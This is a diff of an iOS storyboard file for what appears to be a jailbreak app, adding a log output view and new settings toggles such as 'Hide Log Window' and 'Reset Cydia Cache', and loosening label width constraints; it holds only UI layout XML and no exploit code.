<scene sceneID="e0N-5Z-hJK">
|
||||
<objects>
|
||||
<viewController id="tXi-Ze-6Yw" customClass="ViewController" sceneMemberID="viewController">
|
||||
<viewController id="tXi-Ze-6Yw" customClass="JailbreakViewController" sceneMemberID="viewController">
|
||||
<view key="view" contentMode="scaleToFill" id="Vv2-VM-nBq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
@@ -39,7 +39,7 @@
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="9BH-Zb-878">
|
||||
<rect key="frame" x="61.5" y="393" width="197" height="56"/>
|
||||
<rect key="frame" x="61.5" y="313" width="197" height="56"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ELb-9J-7YK">
|
||||
<rect key="frame" x="0.0" y="0.0" width="197" height="56"/>
|
||||
@@ -138,16 +138,27 @@
|
||||
</button>
|
||||
</subviews>
|
||||
</stackView>
|
||||
<textView opaque="NO" multipleTouchEnabled="YES" contentMode="scaleToFill" showsHorizontalScrollIndicator="NO" editable="NO" translatesAutoresizingMaskIntoConstraints="NO" id="bvv-3a-l9y">
|
||||
<rect key="frame" x="21" y="377" width="278" height="134"/>
|
||||
<color key="backgroundColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<color key="textColor" white="0.75" alpha="1" colorSpace="calibratedWhite"/>
|
||||
<fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="10"/>
|
||||
<textInputTraits key="textInputTraits"/>
|
||||
</textView>
|
||||
</subviews>
|
||||
<color key="backgroundColor" white="1" alpha="0.83999999999999997" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<constraints>
|
||||
<constraint firstItem="9BH-Zb-878" firstAttribute="top" secondItem="Lbx-lz-4J4" secondAttribute="bottom" constant="93" id="AsG-6D-gAm"/>
|
||||
<constraint firstAttribute="bottom" secondItem="bvv-3a-l9y" secondAttribute="bottom" constant="57" id="6e3-OM-ydz"/>
|
||||
<constraint firstItem="9BH-Zb-878" firstAttribute="top" secondItem="Lbx-lz-4J4" secondAttribute="bottom" constant="13" id="AsG-6D-gAm"/>
|
||||
<constraint firstItem="Kgp-ib-vpD" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="Ccd-dV-Dxh"/>
|
||||
<constraint firstItem="ABT-w0-L5M" firstAttribute="top" secondItem="Kgp-ib-vpD" secondAttribute="bottom" constant="-6" id="KDr-Mj-86u"/>
|
||||
<constraint firstItem="Lbx-lz-4J4" firstAttribute="top" secondItem="Kgp-ib-vpD" secondAttribute="bottom" constant="7" id="LGY-em-Xcn"/>
|
||||
<constraint firstItem="9BH-Zb-878" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="LmD-Z2-XJF"/>
|
||||
<constraint firstItem="bvv-3a-l9y" firstAttribute="leading" secondItem="82c-Je-J4x" secondAttribute="leading" constant="21" id="UsM-LU-3dM"/>
|
||||
<constraint firstAttribute="trailing" secondItem="bvv-3a-l9y" secondAttribute="trailing" constant="21" id="bHA-u0-xfl"/>
|
||||
<constraint firstItem="A1X-qf-Qzr" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="beZ-bl-No1"/>
|
||||
<constraint firstItem="Lbx-lz-4J4" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="dx7-kd-hLw"/>
|
||||
<constraint firstItem="bvv-3a-l9y" firstAttribute="top" secondItem="ELb-9J-7YK" secondAttribute="bottom" constant="8" id="jsU-Oe-Z6g"/>
|
||||
<constraint firstItem="Kgp-ib-vpD" firstAttribute="top" secondItem="A1X-qf-Qzr" secondAttribute="bottom" constant="1" id="lpk-2f-HwR"/>
|
||||
<constraint firstItem="ABT-w0-L5M" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="nqw-HT-9zC"/>
|
||||
<constraint firstItem="A1X-qf-Qzr" firstAttribute="top" secondItem="82c-Je-J4x" secondAttribute="top" constant="104" id="sL7-Do-4dg"/>
|
||||
@@ -170,6 +181,8 @@
|
||||
<tabBarItem key="tabBarItem" title="Jailbreak" image="maintenance" id="W8d-XC-the"/>
|
||||
<connections>
|
||||
<outlet property="goButton" destination="ELb-9J-7YK" id="NQQ-PZ-dgH"/>
|
||||
<outlet property="goButtonSpacing" destination="AsG-6D-gAm" id="gO0-UX-RNR"/>
|
||||
<outlet property="outputView" destination="bvv-3a-l9y" id="AVx-ZY-19D"/>
|
||||
</connections>
|
||||
</viewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="DwP-nN-m9x" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||
@@ -203,7 +216,7 @@
|
||||
<tabBarItem key="tabBarItem" title="Settings" image="settings" id="1Bj-i6-cLh"/>
|
||||
<toolbarItems/>
|
||||
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="KGr-06-pw0">
|
||||
<rect key="frame" x="0.0" y="20" width="320" height="96"/>
|
||||
<rect key="frame" x="0.0" y="20" width="320" height="91"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
</navigationBar>
|
||||
<nil name="viewControllers"/>
|
||||
@@ -236,7 +249,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Special Thanks" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="wrA-kI-QcM">
|
||||
<rect key="frame" x="15" y="11.5" width="116" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="116" id="XrV-D8-X4N"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="116" id="XrV-D8-X4N"/>
|
||||
<constraint firstAttribute="height" constant="21" id="dTd-EE-61k"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -265,7 +278,7 @@
|
||||
<rect key="frame" x="15" y="11.5" width="99.5" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="21" id="ov6-dE-2Qj"/>
|
||||
<constraint firstAttribute="width" constant="99.5" id="tvB-hB-Gwb"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="99.5" id="tvB-hB-Gwb"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
@@ -305,7 +318,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Load Daemons" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="OFl-Q2-9QH">
|
||||
<rect key="frame" x="15" y="12" width="114.5" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="114.5" id="YQX-13-E65"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="114.5" id="YQX-13-E65"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="pY9-SY-sdg"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -340,7 +353,7 @@
|
||||
<rect key="frame" x="15" y="12" width="118.5" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="20.5" id="Arf-q5-Jld"/>
|
||||
<constraint firstAttribute="width" constant="118.5" id="dAe-bq-qiE"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="118.5" id="dAe-bq-qiE"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
@@ -373,7 +386,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Refresh Icon Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="6G6-UW-8Uy">
|
||||
<rect key="frame" x="15" y="12" width="149.5" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="149.5" id="Drk-Eo-KqO"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="149.5" id="Drk-Eo-KqO"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="dOH-wz-wsG"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -407,7 +420,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Disable Auto Updates" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="8sz-Zl-aTJ">
|
||||
<rect key="frame" x="15" y="11.5" width="166.5" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="166.5" id="Cet-YF-qjS"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="166.5" id="Cet-YF-qjS"/>
|
||||
<constraint firstAttribute="height" constant="21" id="OJ6-gJ-iAd"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -440,6 +453,10 @@
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Disable App Revokes" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="63h-UA-bob">
|
||||
<rect key="frame" x="15" y="11.5" width="160.5" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="160.5" id="VdB-Id-tER"/>
|
||||
<constraint firstAttribute="height" constant="21" id="fVa-Me-92D"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -470,6 +487,10 @@
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Overwrite Boot Nonce" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="VJD-ZH-KtZ">
|
||||
<rect key="frame" x="15" y="12" width="169" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="169" id="djL-qy-4Bo"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="wk8-2V-8bw"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -502,7 +523,7 @@
|
||||
<rect key="frame" x="15" y="12" width="166" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="20.5" id="6ex-kr-YfO"/>
|
||||
<constraint firstAttribute="width" constant="166" id="RhG-TA-JSm"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="166" id="RhG-TA-JSm"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
@@ -536,7 +557,7 @@
|
||||
<rect key="frame" x="15" y="11.5" width="193.5" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="21" id="juh-26-jFP"/>
|
||||
<constraint firstAttribute="width" constant="193.5" id="vJ1-n1-ko1"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="193.5" id="vJ1-n1-ko1"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
@@ -556,7 +577,7 @@
|
||||
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="lNS-lr-aD5" id="61r-Ti-TM9">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="su4-yz-yLP">
|
||||
@@ -569,7 +590,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Increase Memory Limit (Beta)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hJV-7W-2Yt">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="225" id="CJB-k6-EgI"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="CJB-k6-EgI"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="XV4-LR-bSQ"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -590,7 +611,7 @@
|
||||
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Upu-07-ixa" id="VYC-e3-VHl">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="3dh-Ds-91D">
|
||||
@@ -603,7 +624,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="(Re)Install OpenSSH" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JYe-1k-t3p">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="225" id="JhT-Qg-3zq"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="JhT-Qg-3zq"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="bQG-Xb-9Xz"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -624,7 +645,7 @@
|
||||
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Un7-9W-lxr" id="zyi-OD-lEw">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="yfj-Yg-BHr">
|
||||
@@ -637,7 +658,7 @@
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reinstall Cydia" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="agx-Hc-m1X">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="225" id="YRk-rR-9FG"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="YRk-rR-9FG"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="nsq-x7-yh1"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -658,7 +679,7 @@
|
||||
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="QBO-ex-tis" id="w4p-No-wwe">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="dZz-WS-G1u">
|
||||
@@ -669,10 +690,10 @@
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reload System Daemons" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="upq-iK-gPQ">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="21"/>
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="20.5" id="Zjf-BW-1i2"/>
|
||||
<constraint firstAttribute="width" constant="225" id="avW-dg-yrx"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="avW-dg-yrx"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
@@ -688,17 +709,85 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="7lq-Cj-HMG">
|
||||
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="7lq-Cj-HMG" id="mIB-5A-GXA">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="okw-vN-Hf5">
|
||||
<rect key="frame" x="251" y="6.5" width="51" height="31"/>
|
||||
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<connections>
|
||||
<action selector="hideLogWindowSwitchTriggered:" destination="ScN-Hx-Um8" eventType="valueChanged" id="4Ry-u8-eLR"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Hide Log Window" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="iPa-hs-rED">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="Ojf-MB-ARc"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="j8v-b2-ZF7"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="iPa-hs-rED" firstAttribute="centerY" secondItem="mIB-5A-GXA" secondAttribute="centerY" id="4WD-kJ-dKN"/>
|
||||
<constraint firstItem="okw-vN-Hf5" firstAttribute="centerY" secondItem="mIB-5A-GXA" secondAttribute="centerY" id="5ic-xE-FDq"/>
|
||||
<constraint firstAttribute="trailing" secondItem="okw-vN-Hf5" secondAttribute="trailing" constant="20" id="9gO-CW-Ptb"/>
|
||||
<constraint firstItem="iPa-hs-rED" firstAttribute="leading" secondItem="mIB-5A-GXA" secondAttribute="leading" constant="15" id="m3s-8L-ldg"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="MLC-DO-3b9">
|
||||
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="MLC-DO-3b9" id="HLa-sD-hEI">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="5ao-Ni-cdG">
|
||||
<rect key="frame" x="251" y="6.5" width="51" height="31"/>
|
||||
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<connections>
|
||||
<action selector="resetCydiaCacheSwitchTriggered:" destination="ScN-Hx-Um8" eventType="valueChanged" id="gQf-60-QkP"/>
|
||||
</connections>
|
||||
</switch>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Cydia Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="VUN-ej-E5w">
|
||||
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="7W6-zJ-RmB"/>
|
||||
<constraint firstAttribute="height" constant="20.5" id="eDc-v9-t8A"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="5ao-Ni-cdG" firstAttribute="centerY" secondItem="HLa-sD-hEI" secondAttribute="centerY" id="DfE-FS-303"/>
|
||||
<constraint firstItem="VUN-ej-E5w" firstAttribute="centerY" secondItem="HLa-sD-hEI" secondAttribute="centerY" id="KIs-sD-5IO"/>
|
||||
<constraint firstItem="VUN-ej-E5w" firstAttribute="leading" secondItem="HLa-sD-hEI" secondAttribute="leading" constant="15" id="Wr8-s0-nKw"/>
|
||||
<constraint firstAttribute="trailing" secondItem="5ao-Ni-cdG" secondAttribute="trailing" constant="20" id="ejv-fn-a6c"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
|
||||
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VAY-4U-acE" id="f58-Sa-aTz">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Kernel Exploit" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="F0s-FE-1BJ">
|
||||
<rect key="frame" x="15" y="11.5" width="108" height="21"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="108" id="6qG-T2-KsR"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="108" id="6qG-T2-KsR"/>
|
||||
<constraint firstAttribute="height" constant="21" id="NKl-Gt-QlV"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -731,10 +820,10 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="RoJ-Zg-nGn">
|
||||
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
|
||||
<rect key="frame" x="0.0" y="803.5" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="RoJ-Zg-nGn" id="bjb-rj-ILk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="0x292dd10b56d87a3a" textAlignment="right" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="AmI-8O-WbP">
|
||||
@@ -749,7 +838,7 @@
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="tUf-nV-Vpl">
|
||||
<rect key="frame" x="15" y="5.5" width="91" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" constant="91" id="GDu-gm-kDr"/>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="91" id="GDu-gm-kDr"/>
|
||||
<constraint firstAttribute="height" constant="33" id="lfa-8c-CSq"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
@@ -771,10 +860,10 @@
|
||||
